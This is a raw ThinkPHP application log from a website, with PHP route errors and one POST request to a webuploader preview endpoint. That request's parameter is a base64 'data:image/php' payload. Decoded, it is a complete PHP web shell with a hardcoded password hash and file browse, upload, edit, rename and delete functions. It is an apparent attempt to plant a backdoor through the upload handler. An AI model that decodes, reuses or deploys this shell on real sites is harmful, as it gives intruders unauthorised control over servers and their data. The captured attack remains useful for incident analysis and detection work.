LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:02+08:00 ] 116.213.36.234 POST www.51tianwei.com/login/webuploader/preview.php [运行时间:0.002618s] [吞吐率:381.99req/s] [内存消耗:196.35kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] 